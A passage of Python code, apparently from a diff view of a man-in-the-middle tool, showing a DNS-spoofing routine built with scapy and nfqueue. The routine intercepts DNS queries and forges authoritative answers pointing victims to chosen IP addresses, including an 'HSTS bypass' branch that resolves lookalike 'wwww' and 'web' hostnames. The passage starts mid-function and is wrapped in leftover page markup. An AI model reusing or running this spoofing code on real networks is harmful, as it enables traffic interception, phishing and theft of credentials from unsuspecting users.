self.modify_dns(payload, pkt, ip)
|
||||
|
||||
if 'wwww' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
|
||||
if 'web' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
|
||||
def modify_dns(self, payload, pkt, ip):
|
||||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
||||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
||||
|
||||
if self.hsts:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
||||
for i in ip:
|
||||
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
||||
logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
|
||||
|
||||
if self.dns:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
||||
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue